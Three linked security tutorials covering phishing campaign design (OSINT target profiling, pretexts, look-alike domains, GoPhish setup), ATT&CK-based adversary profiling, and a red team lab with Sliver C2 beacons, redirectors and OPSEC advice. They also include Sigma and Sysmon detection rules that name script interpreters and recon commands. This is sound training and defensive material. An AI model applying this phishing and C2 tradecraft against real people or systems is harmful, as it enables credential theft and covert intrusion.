Phishing Campaign Design: Pretexting, Lures, and Target Profiling

The most common mistake I see from someone running their first authorized phishing engagement is treating it as an email problem. They obsess over the payload and the landing page, launch on day two, and wonder why the click rate is 4%. The professional sequence is inverted — the message is the last artifact you build. The dossier, the pretext, and the sender domain’s reputation decide whether anyone reads past the subject line. Everything else is decoration.

This walkthrough is written for authorized red teamers and the defenders who have to understand the adversary’s decision chain to break it. Every phase maps to MITRE ATT&CK, and every offensive step is paired with how a blue team sees it.

1. Rules of Engagement and Legal Scope

Phishing simulations touch real people and harvest real PII. None of what follows is legal without explicit, signed authorization. Before a single byte of recon:

• Written authorization naming the target organization, the engagement window, and the specific techniques in scope (attachment vs. link vs. vishing).
• A scoping statement that lists which domains, mailboxes, and employee groups are fair game — and which are explicitly off-limits (legal, HR, executives’ personal accounts).
• Data-handling rules. Harvested credentials, breach-dump matches, and scraped employee data are PII. Encrypt at rest, define a retention window, and destroy on engagement close. You are a custodian, not a collector.
• An abort and de-confliction path so the SOC’s incident response doesn’t burn a weekend chasing your simulation.

If you can’t point to the paragraph in the contract that authorizes a technique, you don’t run it.

2. The Adversary’s Pre-Attack Workflow

Real intrusion sets — APT29, Kimsuky, TA453 — don’t improvise lures. They build a target list first, under the Reconnaissance tactic (TA0043), long before any email leaves an outbox. The workflow is iterative: start with a broad pool of harvested identities, enrich each with org and role context, then narrow to a short list of high-value recipients whose job function makes a specific pretext plausible.

The reason this matters to defenders: most of this generates zero target-side telemetry. Passive identity collection (T1589) reads breach databases and LinkedIn; nothing hits your logs. Your first detectable event is often the inbound message itself — which means the controls that matter most are the ones that limit exposure before the campaign and inspect delivery during it.

3. Target Profiling via OSINT

Passive vs. Active Reconnaissance

Passive recon never touches the target’s infrastructure — breach dumps, social media, cached pages. Active recon (port scans, mail-server probing) does, and it’s noisier. A good profiling phase stays passive as long as possible.

The ATT&CK techniques in play:

Once you know the email format, every name you scrape becomes an address. That’s the whole point of T1589.002:

import itertools

# T1589.002 — derive addresses from a known naming convention.
formats   = ["{first}.{last}", "{f}{last}", "{first}{l}"]
domain    = "example.com"
employees = [("jane", "doe"), ("ahmed", "khan")]

for first, last in employees:
    for fmt in formats:
        addr = fmt.format(first=first, last=last,
                          f=first[0], l=last[0]) + "@" + domain
        print(addr)   # later: validate against MX / catch-all behavior

Scraped profile data turns into a prioritized target map. The goal is T1591.004 — separate the people who can wire money or reset passwords from everyone else:

import json

# T1591.004 — convert scraped profiles into a ranked target list.
with open("profiles.json") as f:
    people = json.load(f)

HIGH_VALUE = {"finance", "accounts payable", "it", "helpdesk", "executive"}

for p in people:
    dept = p.get("department", "").lower()
    priority = "HIGH" if any(k in dept for k in HIGH_VALUE) else "low"
    print(f"{priority:4} | {p['name']:24} | {p['title']}")

Infrastructure and tech-stack intelligence (T1596) tunes the theme. If certificate transparency logs reveal a Citrix or VPN gateway, “your VPN certificate expires in 24 hours” becomes credible:

# T1596 — map the footprint from public technical databases.
whois example.com | grep -Ei 'registrar|creation|name server'
dig +short MX example.com               # mail routing → gateway vendor fingerprint

# Certificate Transparency: enumerate subdomains without touching the target.
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

4. Pretexting Fundamentals

A pretext is a fabricated backstory that gives the lure context. The believable ones lean on a small set of influence principles:

The skeleton that turns those principles into a message:

[ROLE the sender claims]        -> "Microsoft 365 Security Team"
+ [AUTHORITY trigger]           -> policy / compliance / mandate
+ [URGENCY hook]                -> "session expires in 24h"
+ [ACTION request]              -> "re-verify at <link>"
+ [PLAUSIBLE sender + branding] -> aged look-alike domain, correct logo
= a lure that survives the recipient's first three seconds of scrutiny

Matching the Pretext to the Role

Profiling pays off here. A generic lure addressed to everyone is weaker than three tailored ones. Finance gets invoice-fraud and vendor-payment-change narratives. IT and helpdesk staff get credential-reset and MFA-enrollment pretexts. Executives get CEO-fraud and board-document lures. The pretext has to fit what the recipient already expects to receive on a normal Tuesday.

5. Lure Design and Delivery Vector Selection

The delivery vector is T1566 (Phishing), and the sub-technique you pick is a trade-off between trust, evasion, and what the target’s controls inspect:

Attachment campaigns rely on User Execution (T1204.002) — the victim has to open and trigger the file. Links exist precisely to avoid attachment scanning. If a gateway detonates attachments, you move to a link; if it rewrites links, you move to something the scanner doesn’t understand.

HTML smuggling is worth understanding because it inverts the perimeter: the file never crosses the network as a file, so attachment and URL scanners see only plain HTML.

<!-- Illustrative ONLY — shows why HTML smuggling evades file/URL scanners.
     The "payload" never traverses the network as a file; the browser builds it
     locally from a string already inside the HTML. The gateway sees inert markup. -->
<script>
  const data = atob("SGVsbG8gZnJvbSB0aGUgYnJvd3Nlcg==");   // benign demo content
  const blob = new Blob([data], { type: "application/octet-stream" });
  const url  = URL.createObjectURL(blob);
  const a    = document.createElement("a");
  a.href = url; a.download = "invoice.txt";                // forces a local "save"
  // a.click();   // auto-trigger left disabled deliberately
</script>

6. Sender Infrastructure and Spoofing

Delivery fails at the envelope if the sender looks wrong. Adversaries register look-alike domains (T1583.001) — corp-helpdesk.example against the real corp.helpdesk.example — and warm up aged sending accounts (T1585.002) so they pass reputation filters. The highest-trust option is hijacking a real conversation from a compromised third-party mailbox (T1586.002), where the reply lands inside an existing thread the victim already trusts.

From the attacker’s chair, the three email-authentication records define what’s possible:

Direct domain spoofing dies against a hard -all SPF record plus DMARC p=reject. That’s why attackers pivot to look-alike domains — a domain you control passes its own SPF and DKIM cleanly, and DMARC has nothing to complain about because the From: is genuinely yours.

A war story worth your hour: I once burned a beautifully aged look-alike domain in the first thirty minutes of a campaign because the landing page’s TLS certificate had been issued that morning. A switched-on analyst pulled the cert transparency log, saw a brand-new cert on a brand-new host receiving inbound clicks, and quarantined the whole run. The same crt.sh query you use to profile a target is the one defenders use to catch you. Provision infrastructure days ahead, not minutes.

7. Reconnaissance Phishing vs. Payload Delivery

Not every phishing message delivers malware. T1598 (Phishing for Information) sits under Reconnaissance — it tricks the target into divulging credentials or actionable data with no payload at all. A fake login portal (T1598.003) harvests a password; callback phishing extracts data verbally over the phone. The defining indicator: no malicious attachment, no exploit-laden link. That absence is what distinguishes T1598 from T1566.

Two modern variants defeat MFA and deserve detection-level treatment (no working frameworks here):

• Adversary-in-the-Middle (T1557). A reverse proxy relays the victim’s real login to the real service and captures the session cookie issued after a successful MFA prompt. The stolen cookie replays the authenticated session — the second factor never protected anything because it already passed.
• MFA Request Generation (T1621). Push-bombing a target with repeated approval prompts until fatigue or confusion yields a tap.
• OAuth device-code phishing. Abusing the device-authorization flow to capture tokens without ever touching a password, against M365 and Google Workspace.

The defensive answer to all three is phishing-resistant authentication — FIDO2 / passkeys — which is not susceptible to relay because the credential is bound to the legitimate origin.

8. Campaign Execution and Metrics

For authorized simulations, GoPhish handles sending profiles, landing pages, and tracking. The shape of a scoped, consented campaign:

# Authorized simulation only. Illustrative profile + campaign shape.
sending_profile:
  name: "IT Helpdesk Sim"
  from_address: "helpdesk@corp-helpdesk.example"   # pre-warmed look-alike
  host: "smtp.relay.internal:587"
  username: "sim-sender"
  ignore_cert_errors: false

campaign:
  name: "Q3 Awareness - Password Reset"
  url: "https://corp-helpdesk.example/reset"        # tracked landing page
  launch_date: "2026-07-01T09:00:00Z"
  tracking_pixel: true                              # open-rate beacon
  groups: ["finance-pilot"]                         # scoped, consented list

Read the metrics honestly. Open rate measures subject-line and sender plausibility. Click rate measures pretext strength. Submit rate — credentials actually entered — is the number that matters for risk, and it’s the one you report. Don’t shame individuals; aggregate by department and feed the result back into training. And when the engagement closes, destroy the harvested submissions per your data-handling rules.

9. Detection and Defense — The Defender’s View

Recon is invisible, so defense concentrates at delivery and execution. Email authentication is the first wall: enforce DMARC p=reject with alignment, and teach analysts to read the headers.

# Defender view: read Authentication-Results to spot spoofing.
$headers = Get-Content .\suspicious.eml -Raw
[regex]::Matches($headers, 'Authentication-Results:.*?(?=\r?\n\S)') |
    ForEach-Object { $_.Value }
# Flag: spf=fail, dkim=fail, dmarc=fail (or dmarc=none = no enforcement)

Post-delivery, the payload betrays itself through process lineage. Key Sysmon events:

The canonical detection — an Office app spawning a script interpreter:

title: Office Application Spawning a Script Interpreter
id: 6c4f1a2e-phishing-office-child
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\onenote.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.t1204.002
level: high

Catch attachment execution by its working directory:

title: Process Execution From Outlook Attachment Temp Path
id: 9a2b7c10-phishing-outlook-temp
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CurrentDirectory|contains: '\Content.Outlook\'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
level: high

Credential-harvest fallout shows up in the Security log — 4625 (failed logon), 4740 (lockout from spray), 4688 (process creation with command-line auditing) — and in M365 / Entra ID sign-in risk events. Hardening that actually moves the needle:

• ASR rules blocking Office apps from spawning child processes.
• Protected View + Trust Center disabling internet-origin macros by default, with MOTW enforced even for archive-extracted files to kill the ISO bypass.
• Safe Links / Safe Attachments for click-time URL rewriting and sandbox detonation.
• FIDO2 / passkeys over push-based MFA — the only control that survives AiTM.
• Limiting public OSINT exposure — shallow public org charts, undisclosed email formats, sanitized job postings.
• Awareness training using current lures (ISO, OneNote, QR), not just decade-old attachment scares.

10. MITRE ATT&CK Mapping

Summary

• A phishing campaign is won during reconnaissance, not in the message — the dossier and pretext decide the outcome before delivery.
• Target profiling chains passive OSINT (T1589, T1591, T1593, T1596) into a ranked list, generating almost no target-side telemetry.
• Pretexts weaponize authority, urgency, and familiarity; the strongest ones match the recipient’s actual job function.
• Delivery vector (T1566 sub-techniques) is a trade-off against the controls in place — attachment, link, service, or voice — with ISO, OneNote, quishing, and HTML smuggling as modern evasion paths.
• T1598 harvests data with no payload, and AiTM (T1557) defeats push-based MFA — both demand phishing-resistant FIDO2.
• Defenders win at delivery and execution: enforce DMARC p=reject, hunt Office child-process chains via Sysmon EID 1, and convert every red-team finding into a concrete blue-team control.

Related Tutorials

• Passive OSINT: Mapping the Target Without Touching It
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• Phishing (T1566) – Enterprise | MITRE ATT&CK®
• Phishing for Information (T1598) – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information (T1589) – Enterprise | MITRE ATT&CK®
• Gather Victim Org Information (T1591) – Enterprise | MITRE ATT&CK®
• Phishing: Spearphishing Link (T1566.002) – Enterprise | MITRE ATT&CK®
• Phishing for Information: Spearphishing Service (T1598.001) – Enterprise | MITRE ATT&CK®

APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence

Objective: Learn how to systematically collect, structure, and operationalize open-source intelligence into a complete, ATT&CK-mapped adversary profile — a defensible dossier that drives realistic adversary emulation, detection-gap analysis, and threat-informed defense.

1. What Is an Adversary Profile and Why Build One

An adversary profile is a structured dossier describing who a threat actor is, what they target, how they operate, and which tools and infrastructure they favor — all normalized to a shared taxonomy. It is the durable opposite of an IOC-only feed.

An IOC feed gives you hashes and IP addresses that expire in days. A profile captures the actor’s tactics, techniques, and procedures (TTPs), which change slowly and cost the adversary real effort to alter. A finished profile is the source artifact for three downstream activities:

• Adversary emulation — sequencing a real group’s TTPs into a test plan.
• Detection engineering — overlaying the profile against your sensor coverage to find gaps.
• Risk communication — translating actor capability and intent for leadership.

Threat intelligence comes in four flavors, and a good profile feeds all of them: strategic (executive risk), tactical (SOC TTPs), operational (incident-response context), and technical (machine-readable indicators).

2. The Intelligence Lifecycle Applied to APT Profiling

Cyber threat intelligence is produced through a six-phase lifecycle. Profiling is just this lifecycle scoped to a single actor.

Start with an explicit Priority Intelligence Requirement (PIR) or Request for Information (RFI). Without a scoped question, collection sprawls and the profile never converges.

3. Analytical Frameworks: Diamond Model, Kill Chain, and ATT&CK

Three frameworks provide complementary lenses. Use all three — they are not interchangeable.

The Diamond Model is the pivoting engine. Each intrusion event has four interconnected vertices, and the relationships between them drive investigation. The adversary–infrastructure edge reveals how operators stand up C2; the victim–capability edge exposes which tooling is used against which target. Unlike the sequential Kill Chain, the Diamond Model excels at attribution and visualizing relationships — pivot from a known malware sample to the infrastructure that served it, then to other victims of the same infrastructure.

ATT&CK then supplies the granular vocabulary that makes those pivots comparable across reports and across teams.

4. OSINT Collection: Primary Source Taxonomy

OSINT spans news media, social media, public records, government publications, academic research, commercial data, and the deep/dark web. For APT profiling, prioritize these primary source classes and score each for reliability.

Infrastructure pivoting is largely passive. The example below queries Shodan for hosts matching a documented C2 fingerprint — a benign illustration of the adversary–infrastructure edge.

import shodan

API_KEY = "YOUR_API_KEY"      # placeholder — never commit real keys
api = shodan.Shodan(API_KEY)

# Pivot on a publicly documented C2 framework fingerprint
query = 'product:"Cobalt Strike Beacon" ssl.cert.subject.CN:"example-c2.test"'
results = api.search(query)

for host in results["matches"]:
    print(host["ip_str"], host.get("port"), host.get("org"))

Rate every source with the Admiralty Code: source reliability (A–F) and information credibility (1–6). A single vendor blog is B2 at best; corroboration across two independent vendors plus a government advisory raises confidence.

5. Building the Adversary Dossier

Capture the profile in a fixed schema so that every actor is described the same way and TTP heatmaps are comparable. Use this template as your reference document.

ATT&CK’s Group object aligns directly with several of these fields, so anchor your dossier to it.

ATT&CK currently tracks 176 groups, each with attribution, targeted geographies, and targeted sectors.

6. ATT&CK Mapping: Extracting and Normalizing Techniques

Follow CISA’s Best Practices for MITRE ATT&CK Mapping: read the report, find the behavior, then map to the most specific technique the evidence supports. The cardinal sin is over-mapping — claiming a sub-technique when the text only justifies a tactic.

A conceptual keyword-to-technique pass illustrates semi-automated extraction. This is not a production NLP classifier; treat it as a triage aid that an analyst validates.

import json

# Local ATT&CK Enterprise snapshot (STIX bundle) loaded for ID validation
with open("enterprise-attack.json") as f:
    bundle = json.load(f)

# Illustrative keyword -> technique lookup, manually curated
keyword_map = {
    "spearphishing attachment": "T1566.001",
    "powershell":               "T1059.001",
    "wmi":                      "T1047",
    "scheduled task":          "T1053.005",
    "lsass":                   "T1003.001",
}

report = """The actor sent a spearphishing attachment, used PowerShell to
run a loader, registered a scheduled task for persistence, and dumped
credentials from LSASS."""

report_l = report.lower()
hits = sorted({tid for kw, tid in keyword_map.items() if kw in report_l})
print(hits)   # ['T1003.001', 'T1053.005', 'T1059.001', 'T1566.001']

Every machine-suggested ID gets human confirmation against the report sentence before it enters the profile.

7. Querying ATT&CK Group Data Programmatically

MITRE publishes ATT&CK as STIX. Pull a group’s techniques directly with mitreattack-python rather than scraping the website.

from mitreattack.stix20 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# Resolve the documented group by alias (use real, attributed groups only)
group = mitre.get_groups_by_alias("APT29")[0]   # G0016

techniques = mitre.get_techniques_used_by_group(group.id)
for entry in techniques:
    tech = entry["object"]
    attack_id = mitre.get_attack_id(tech.id)
    print(attack_id, tech.name)

You can also reach the live TAXII 2.1 server and walk the relationship graph yourself — pivoting intrusion-set → uses → attack-pattern.

from taxii2client.v21 import Server
from stix2 import TAXIICollectionSource, Filter

server = Server("https://attack-taxii.mitre.org/api/v21/")
collection = server.api_roots[0].collections[0]   # Enterprise ATT&CK
src = TAXIICollectionSource(collection)

group = src.query([Filter("type", "=", "intrusion-set"),
                   Filter("name", "=", "APT29")])[0]

for rel in src.relationships(group.id, "uses", source_only=True):
    if rel.target_ref.startswith("attack-pattern"):
        print(src.get(rel.target_ref).name)

8. ATT&CK Navigator Layers and Coverage Gap Analysis

The ATT&CK Navigator renders technique sets as a heatmap. Export a group’s techniques as a layer JSON, score each by observed frequency, and drag the file into the Navigator web app. Below is a v4 layer for a documented group.

{
  "name": "G0016 APT29 - Observed TTPs",
  "versions": { "attack": "14", "navigator": "4.9.1", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 5, "color": "#fc3b3b",
      "comment": "Spearphishing attachment - multiple campaigns" },
    { "techniqueID": "T1059.001", "score": 4, "color": "#fc6b3b",
      "comment": "PowerShell loaders" },
    { "techniqueID": "T1003.001", "score": 3, "color": "#fc9d3b",
      "comment": "LSASS credential access" }
  ],
  "gradient": {
    "colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 5
  }
}

The power move is layer arithmetic: load the actor layer and your team’s detection coverage layer, then compute their difference. Techniques the actor uses that your sensors do not cover are your prioritized hardening backlog. Overlaying two actor layers instead reveals shared TTPs worth emulating once to cover multiple threats.

9. Structuring the Profile in STIX 2.1

To make the profile machine-readable and shareable over TAXII, serialize it as STIX. Platforms such as MISP, OpenCTI, ThreatConnect, and Anomali ThreatStream ingest this directly.

{
  "type": "bundle", "id": "bundle--6f3a...",
  "objects": [
    { "type": "intrusion-set", "spec_version": "2.1",
      "id": "intrusion-set--1a2b...", "name": "APT29",
      "aliases": ["Cozy Bear"] },
    { "type": "attack-pattern", "spec_version": "2.1",
      "id": "attack-pattern--3c4d...", "name": "Spearphishing Attachment",
      "external_references": [
        { "source_name": "mitre-attack", "external_id": "T1566.001" } ] },
    { "type": "malware", "spec_version": "2.1",
      "id": "malware--5e6f...", "name": "WELLMESS",
      "is_family": true, "malware_types": ["backdoor"] },
    { "type": "relationship", "spec_version": "2.1",
      "id": "relationship--7a8b...", "relationship_type": "uses",
      "source_ref": "intrusion-set--1a2b...",
      "target_ref": "attack-pattern--3c4d..." }
  ]
}

10. The Pyramid of Pain and Attribution Confidence

David Bianco’s Pyramid of Pain (2013) explains why TTP-based profiling outlasts IOC-based profiling. From the bottom (trivial for the adversary to change) to the top (expensive and painful):

• Hash values → trivially recompiled
• IP addresses → rotated in minutes
• Domain names → re-registered cheaply
• Network/host artifacts → moderate effort
• Tools → significant rework
• TTPs → the adversary must relearn how they operate

Profiling for the top of the pyramid forces the adversary to change behavior, not just infrastructure. That is the entire defensive case for TTP-centric profiles.

Treat attribution skeptically. Multiple vendors track overlapping activity under different names, and their group boundaries may disagree. Record an explicit confidence rating (Admiralty Code or an Assessed/Confirmed scale) per claim, and never collapse two vendor clusters into “the same actor” without corroboration.

11. From Profile to Emulation Plan

The finished profile drives an emulation plan in the style of the CTID Adversary Emulation Library. Translate the TTP heatmap into a prioritized, sequenced scenario:

• Sequence techniques along the Kill Chain — initial access, execution, persistence, credential access, exfiltration.
• Prioritize by impact, current detection coverage (from the Navigator gap analysis), and business relevance.
• Constrain the plan to documented behaviors; emulate procedures, not improvised tradecraft.

The output is a runnable, scoped test that exercises exactly the techniques your real adversary uses — and validates the detections you built from the same profile.

12. Common Attacker Techniques

A profile must capture what the adversary does during its own reconnaissance and resource development — the pre-attack behaviors you study and emulate.

13. Defensive Strategies & Detection

Profiling cuts both ways: detect adversaries profiling you, and validate coverage against a finished profile. Correlate weak recon signals across categories — perimeter scanning (T1595), web fingerprinting (T1592), and email harvesting (T1589) together indicate targeted pre-attack planning.

Host-based recon once inside is visible to Sysmon: Event ID 1 (Process Create) catches nslookup, nltest, net view; Event ID 3 (Network Connection) surfaces internal scanning; Event ID 22 (DNS Query) enumerates lookups. Enable Audit Directory Service Access and command-line auditing (4688).

title: Domain Trust and Group Reconnaissance via Built-in Tools
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    CommandLine|contains:
      - 'nltest /domain_trusts'
      - 'net group "domain admins"'
      - 'net view /domain'
  condition: selection
level: medium

Centralize network, endpoint, identity, and threat-intel telemetry into one analytics platform, and ingest the profile’s STIX into a TIP (MISP/OpenCTI) so IOCs correlate against live data automatically. Reduce your OSINT attack surface: prune public DNS records, enable WHOIS privacy, and strip version banners.

14. Tools for Adversary Profiling

15. MITRE ATT&CK Mapping

Summary

• An adversary profile is a structured, ATT&CK-mapped dossier of actor identity, targeting, tooling, and TTPs — the durable artifact IOC feeds cannot replace.
• Run the six-phase intelligence lifecycle and fuse three frameworks: the Diamond Model for pivoting, the Kill Chain for sequencing, and ATT&CK for the TTP taxonomy.
• Collect from vendor reports, government advisories, passive DNS, and malware repositories — and score every source with the Admiralty Code.
• Serialize the result as STIX 2.1 and a Navigator layer so it feeds TIPs, gap analysis, and CTID-style emulation plans.
• Detect adversaries profiling you with correlated recon signals — Sysmon Event IDs 1/3/22, honeytokens, and Cert Transparency monitoring — and profile for the top of the Pyramid of Pain, where changing TTPs costs the adversary the most.

Related Tutorials

• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle
• Adversary Emulation vs. Adversary Simulation: Definitions, Differences, and Why It Matters
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Adversary Emulation Plans | MITRE ATT&CK®
• Groups | MITRE ATT&CK®
• NIST SP 800-150: Guide to Cyber Threat Information Sharing | CSRC
• Getting Started with ATT&CK: Threat Intelligence | MITRE ATT&CK Blog
• MITRE ATT&CK Campaigns | MITRE ATT&CK®
• MITRE CTID — Adversary Emulation Library (GitHub)

Building a Red Team Lab: Infrastructure, VMs, and C2 Setup

Objective: Understand how to design, build, and operate a self-contained red team lab — hypervisor and VM selection, network segmentation, C2 framework deployment, redirector architecture, and OPSEC discipline — so authorized operators get a reproducible practice environment and defenders learn what adversary infrastructure looks like from the inside.

1. Lab Philosophy and Legal Guardrails

A red team lab exists for one reason: to test tradecraft against telemetry without touching production. Everything in this tutorial is for authorized testing inside an isolated environment you own. Never point lab C2 at systems outside your scope.

A dedicated lab gives you two things production cannot. First, repeatability — snapshot, detonate, revert, repeat. Second, observability — you run the blue stack and the red stack side by side and watch every event a real implant generates.

Two build models exist:

• Air-gapped lab — host-only virtual networks with no internet. Safest for malware detonation and EDR-bypass study.
• Cloud-backed lab — VPS-hosted team servers and redirectors for testing real callbacks, domain categorization, and redirector chains.

Most learners start air-gapped and graduate to a hybrid with a single controlled egress gateway.

2. Hardware and Hypervisor Selection

A workable lab runs on a single workstation. The constraint is RAM, because a Domain Controller, a Windows endpoint, a Linux target, and a SIEM run concurrently.

Choose a Type-2 hypervisor:

VMware Workstation Pro / Fusion is preferred for nested virtualization and snapshot fidelity; VirtualBox is the free alternative with less reliable advanced networking.

Snapshot discipline is non-negotiable. Snapshot before each phase — a clean pre-exploitation baseline, a post-compromise state, a post-persistence state — so you can replay a scenario without rebuilding.

3. Network Architecture Design

Segment the lab into tiers so the attacker subnet, target subnet, and monitoring subnet cannot freely route to one another. This mirrors real network boundaries and forces realistic lateral movement.

Build three host-only segments: attacker, target, monitoring. A dedicated “egress” VM with dual NICs (one host-only, one NAT) acts as the only controlled gateway when you must test real C2 callbacks. The monitoring tier should receive logs one-way and remain unreachable from the attacker subnet.

4. Building the Target Network

The target network simulates a small enterprise: a Domain Controller, a domain-joined Windows endpoint, and a Linux host.

Promote the DC with AD DS, configure DNS, then join endpoints to the domain. The following script joins a Windows target, points DNS at the DC, and enables WinRM for management.

# Domain join + WinRM enablement for a lab Windows target
$DC = "192.168.56.10"     # Domain Controller IP
$Domain = "lab.local"

# Point DNS at the DC so domain resolution works
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses $DC

# Enable remote management for lab orchestration
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $DC -Force

# Join the domain (prompts for credentials, then reboot)
Add-Computer -DomainName $Domain -Restart

5. Deploying the Blue Team Monitoring Stack

The monitoring tier is what turns a playground into a detection lab. Deploy Wazuh or Security Onion as the SIEM/IDS, then instrument every Windows VM with Sysmon using a community config such as SwiftOnSecurity or Olaf Hartong’s sysmon-modular.

Forward all Windows and Sysmon channels to the SIEM, enable real-time alerting, and leave Windows Defender enabled on targets so you can observe EDR behavior against your implants. Add Zeek for network metadata — its conn.log is invaluable for spotting beaconing.

6. C2 Framework Selection and Trade-offs

A C2 framework is the infrastructure used to control compromised systems remotely. It has three parts: a C2 server (backend), a C2 client (operator interface), and a C2 agent / implant (payload on the target).

Core architecture primitives apply across all of them:

This tutorial uses Sliver as the primary example because it is free, modern, and well-documented at sliver.sh/docs.

7. Deploying Sliver C2

Install the server on a dedicated Ubuntu 22.04 host on the attacker tier. The team server should never be exposed directly — a redirector sits in front of it (Section 8).

# Install Sliver server (run on the dedicated C2 VM)
curl https://sliver.sh/install | sudo bash

# Run as a service so it survives reboots
sudo systemctl enable --now sliver

# Drop into the server console
sliver-server

Inside the console, start an HTTPS listener and generate a Windows x64 beacon. --skip-symbols speeds up builds in a lab; flags change between releases, so verify against the official docs.

# Start an HTTPS listener bound to the redirector-facing interface
https --lhost 192.168.56.20 --lport 443

# Generate a Windows x64 HTTPS beacon
generate beacon --http 192.168.56.20 --os windows --arch amd64 --skip-symbols

# After the implant calls back:
sessions                 # list active sessions
use <session_id>         # interact with a session

The HTTP/S transport is shaped via /root/.sliver/configs/http-c2.json, which controls URIs, headers, and polling behavior. The default mTLS transport listens on 8888.

8. Redirector Architecture

A redirector is a disposable proxy that fronts the team server. Implants talk only to the redirector; if blue team burns its IP, you rebuild it and the long-term server stays hidden.

Implant → Redirector (Nginx/Apache/socat) → C2 Team Server

The redirector filters traffic: requests matching your implant’s expected path and user-agent are forwarded to the team server; everything else is dropped or returned as a benign error or redirected to a legitimate site.

# Nginx redirector: forward only matching C2 traffic, 404 everything else
server {
    listen 443 ssl;
    server_name cdn.example-lab.local;

    location /api/v2/updates {
        # Only forward requests carrying the expected implant User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") {
            return 404;
        }
        proxy_pass https://192.168.56.30:443;   # team server (internal)
        proxy_ssl_verify off;
    }

    # Anything else gets a flat 404 — no team server exposure
    location / {
        return 404;
    }
}

For HTTPS redirectors use Apache, Nginx, or Caddy; for DNS redirectors use socat or iptables. In advanced cloud setups, CDN fronting via CloudFront, Azure CDN, or Cloudflare blends C2 with legitimate traffic. Do not deploy domain-fronting or malleable-profile code from a tutorial — reference framework docs.

9. OPSEC and Infrastructure Hygiene

Your infrastructure is your OPSEC. A flat setup is a single point of failure that burns the whole operation.

• Never connect the operator machine directly to the team server. Tunnel through a VPN overlay (WireGuard, Tailscale/Headscale) or a jump box.
• Separate infrastructure for phishing, payload hosting, and C2 — three servers, three redirectors.
• Use aged, categorized domains registered 30+ days prior with a benign-looking category.
• Rotate redirector IPs and never reuse burned infrastructure.
• Geofence access via Cloudflare so only the client’s country can reach C2 and campaign domains, blocking external threat-intel scanners.

A minimal operator WireGuard client routes only team-server traffic through the jump box:

# wg0.conf — operator client tunneling to the jump box
[Interface]
PrivateKey = <operator_private_key>
Address    = 10.10.10.2/32

[Peer]
PublicKey  = <jumpbox_public_key>
Endpoint   = jump.example-lab.local:51820
AllowedIPs = 10.10.10.0/24      # only the team-server subnet
PersistentKeepalive = 25

Relevant transports and ports:

10. Infrastructure-as-Code with Terraform

Terraform declares lab state in configuration, so a burned redirector is rebuilt in minutes. The example provisions a team server and a redirector, then bootstraps the server with remote-exec.

resource "digitalocean_droplet" "c2_server" {
  name   = "c2-teamserver"
  region = "nyc3"
  size   = "s-2vcpu-4gb"
  image  = "ubuntu-22-04-x64"

  provisioner "remote-exec" {
    inline = ["curl https://sliver.sh/install | sudo bash"]
  }
}

resource "digitalocean_droplet" "redirector" {
  name   = "c2-redirector"
  region = "nyc3"
  size   = "s-1vcpu-1gb"
  image  = "ubuntu-22-04-x64"
}

output "c2_ip"        { value = digitalocean_droplet.c2_server.ipv4_address }
output "redirector_ip"{ value = digitalocean_droplet.redirector.ipv4_address }

terraform apply builds the stack and emits IPs; terraform destroy tears it down. Teardown-and-rebuild cycles keep infrastructure disposable.

11. Common Attacker Techniques

These are the primitives a lab is built to study and detect.

12. Defensive Strategies and Detection

Run the same lab as blue team to build detections. Sysmon plus a tuned config surfaces nearly every C2 stage.

Tune Sysmon to capture outbound connections from non-browser processes and DNS queries from shells:

<RuleGroup name="C2 Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">443</DestinationPort>
    <DestinationPort condition="is">53</DestinationPort>
  </NetworkConnect>
  <DnsQuery onmatch="include">
    <Image condition="end with">powershell.exe</Image>
    <Image condition="end with">cmd.exe</Image>
  </DnsQuery>
</RuleGroup>

A Sigma rule for beacon-like connections keys on Sysmon EventID 3, common C2 ports, and an allowlist of browsers. Correlate hits with short, regular intervals to catch low-jitter beacons.

title: Non-Browser Outbound to Common C2 Ports
logsource:
  product: windows
  service: sysmon
  category: network_connection
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
      - 53
    Initiated: 'true'
  filter_browsers:
    Image|contains:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  condition: selection and not filter_browsers
fields:
  - Image
  - DestinationIp
  - DestinationPort
  - DestinationHostname
level: high

Layer behavioral analytics on top:

• Jitter analysis — alert on outbound HTTPS at regular intervals (e.g., 60 ± 5 s); Zeek conn.log excels at long-duration, low-byte sessions.
• Named-pipe anomalies — Cobalt Strike’s default msagent_* pipe names appear in Sysmon EID 17/18.
• Anomalous parent-child chains — Word.exe → cmd.exe → powershell.exe is a classic phishing chain.
• User-agent mismatch — svchost.exe issuing a Chrome user-agent is anomalous.

